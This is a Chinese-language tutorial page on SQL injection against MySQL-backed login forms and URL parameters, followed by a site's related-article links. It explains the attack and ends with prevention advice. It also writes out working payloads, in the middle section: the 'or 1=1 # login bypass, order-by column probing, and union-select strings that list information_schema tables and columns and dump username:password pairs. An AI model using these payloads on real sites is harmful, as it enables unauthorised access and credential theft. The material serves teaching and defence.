SQL注入的实现以及防范示例详解


Posted in MySQL onJune 02, 2021

什么是SQL注入

SQL注入是指通过构建特殊的输入篡改原来的SQL语句达到攻击者所需的操作。

Sql 注入产生原因

我们访问动态网页时往往会向服务器发送请求,服务器向数据访问层发起 Sql 查询请求,若验证通过就会执行 Sql 语句。如果用户输入的数据被构造成恶意Sql代码,如果程序没有细致地过滤用户输入的数据则会使非法数据侵入系统。

登录案例讲解

select * from admin where uname='用户名' and pwd='密码'

输入 'or 1=1 #(?空格或?+或#:注释掉后面的sql语句)

这时SQL语句变为:select * from admin where uname='' or 1=1 # and pwd='密码',这时SQL语句永远成立,绕过登录。

基于GET方式的SQL注入

通过在URL中修改对应的ID值,为正常数字、大数字、字符(单引号、双引号、双单引号、括号)、反斜杠来探测URL中是否有注入点。

可登陆到mituan.zone进行测试

1、' '1'' LIMIT 0,1 ' :多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = 'id' limit 0,1

2、' ' LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = id limit 0,1

3、' '1'') LIMIT 0,1 ':多了一个单引号

可猜测SQL语句为:select login_name,password from admin where id = ('id') limit 0,1

4、单引号、括号都不报错说明被接收的是字符串类型' "1"") LIMIT 0,1 ':多了一个双引号

可猜测SQL语句为:select login_name,password from admin where id = ("id") limit 0,1

SQL注入利用

1、利用order by判断字段数

order by n(n为猜测字段数)--+

以案例一为例

select login_name,password from admin where id = 'id' limit 0,1
用?id=1' order by 11--+

猜测错误时则会报错

SQL注入的实现以及防范示例详解

此时探测到有3个字段,用?id=0' union select 1,2,3--+探测到Login_name在第二列,Password在第三列,则第二、三列可利用。

SQL注入的实现以及防范示例详解

?id=0' union select 1,2,3--+2,3改为user():查看当前MYSQL登录用户名,database():查看当前使用MYSQL数据库名,version():查看当前MYSQL版本,如改为?id=0'union select 1,user(),database()--+ 得到下图中信息

SQL注入的实现以及防范示例详解

2、利用union select 联合查询,获取表名。(在使用union select时要将前面的SQL语句报错)

union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database()--+

SQL注入的实现以及防范示例详解

3、利用union select 联合查询,获取字段名。(以上面查询到的users表为例)

union select 1,group_concat(column_name),3 from information_schema.columns where table_name='users'--+

SQL注入的实现以及防范示例详解

4、利用union select 联合查询,获取字段值。(以上面查询到的users表为例)

union select 1,group_concat(username,0x3a,password),3 from users--+ (0x3a为冒号,用来分隔不同字段的值)

SQL注入的实现以及防范示例详解

如果是地址栏不能显示信息的POST形式则可以在对话框中输入注入语句

SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解
SQL注入的实现以及防范示例详解

这里使用的方法和在地址栏中的输入一样,都是先报错前面的SQL语句再使用union select联合查询拿出表中数据

SQL 注入的防范方法

  • 对用户的输入进行过滤。如:对用户的输入进行校验,可以通过正则表达式、限制长度、对单引号和双"-"进行转换等。
  • 编写程序时不要使用动态拼装sql,可以使用参数化的sql或者直接使用存储过程进行数据查询存取。
  • 不要直接使用管理员权限的数据库连接,每个应用使用单独的且权限有限的数据库。
  • 不要把机密信息直接存放,加密或者hash掉密码和敏感的信息。
  • 程序的异常信息应该给出尽可能少的提示,最好使用自定义的错误信息对原始错误信息进行包装。

总结

到此这篇关于SQL注入的实现以及防范的文章就介绍到这了,更多相关SQL注入实现及防范内容请搜索三水点靠木以前的文章或继续浏览下面的相关文章希望大家以后多多支持三水点靠木!

MySQL 相关文章推荐
MySQL之DML语言
Apr 05 MySQL
Mysql 性能监控及调优
Apr 06 MySQL
mysql批量新增和存储的方法实例
Apr 07 MySQL
MySQL安装后默认自带数据库的作用详解
Apr 27 MySQL
MySQL中使用or、in与union all在查询命令下的效率对比
May 26 MySQL
详解MySQL中的pid与socket
Jun 15 MySQL
mysql联合索引的使用规则
Jun 23 MySQL
MySQL中IF()、IFNULL()、NULLIF()、ISNULL()函数的使用详解
Jun 26 MySQL
MySQL8.0升级的踩坑历险记
Nov 01 MySQL
mysql使用 not int 子查询隐含陷阱
Apr 12 MySQL
MySQL transaction事务安全示例讲解
Jun 21 MySQL
MySql统计函数COUNT的具体使用详解
Aug 14 MySQL
如何自己动手写SQL执行引擎
MySQL 8.0 Online DDL快速加列的相关总结
MySQL 常见存储引擎的优劣
Jun 02 #MySQL
Mysql文件存储图文详解
一文读懂navicat for mysql基础知识
Mysql数据库索引面试题(程序员基础技能)
MySQL CHAR和VARCHAR该如何选择
May 31 #MySQL
You might like
php 无法载入mysql扩展
2010/03/12 PHP
php中字符串和正则表达式详解
2014/10/23 PHP
php根据一个给定范围和步进生成数组的方法
2015/06/19 PHP
DWZ+ThinkPHP开发时遇到的问题分析
2016/12/12 PHP
PHP生成各种随机验证码的方法总结【附demo源码】
2017/06/05 PHP
php5.5使用PHPMailer-5.2发送邮件的完整步骤
2018/10/14 PHP
Laravel 中使用简单的方法跟踪用户是否在线(推荐)
2019/10/30 PHP
自动完成JS类(纯JS, Ajax模式)
2009/03/12 Javascript
Js 刷新框架页的代码
2010/04/13 Javascript
使用Vue动态生成form表单的实例代码
2018/04/26 Javascript
vue的传参方式汇总和router使用技巧
2018/05/22 Javascript
微信小程序之导航滑块视图容器功能的实现代码(简单两步)
2020/06/19 Javascript
python字符串连接的N种方式总结
2014/09/17 Python
python内存管理分析
2015/04/08 Python
Python基于numpy灵活定义神经网络结构的方法
2017/08/19 Python
Python统计python文件中代码,注释及空白对应的行数示例【测试可用】
2018/07/25 Python
对python中的乘法dot和对应分量相乘multiply详解
2018/11/14 Python
Python学习笔记之抓取某只基金历史净值数据实战案例
2019/06/03 Python
python 实现将多条曲线画在一幅图上的方法
2019/07/07 Python
通过python实现随机交换礼物程序详解
2019/07/10 Python
记一次django内存异常排查及解决方法
2020/08/07 Python
Python使用内置函数setattr设置对象的属性值
2020/10/16 Python
什么是设计模式
2012/06/17 面试题
给领导的致歉信范文
2014/01/13 职场文书
物理专业大学生职业生涯规划书
2014/02/07 职场文书
医药类个人求职的自我评价
2014/02/12 职场文书
制作部班长职位说明书
2014/02/26 职场文书
化学专业毕业生求职信
2014/07/28 职场文书
调研汇报材料范文
2014/08/17 职场文书
乡镇八一建军节活动方案
2014/08/24 职场文书
大学生学习新党章思想汇报
2014/10/25 职场文书
老公出轨后的保证书
2015/05/08 职场文书
九不准学习心得体会
2016/01/23 职场文书
Pytorch 实现变量类型转换
2021/05/17 Python
Sleuth+logback 设置traceid 及自定义信息方式
2021/07/26 Java/Android
5人制售《绝地求生》游戏外挂获利500多万元 被判刑
2022/03/31 其他游戏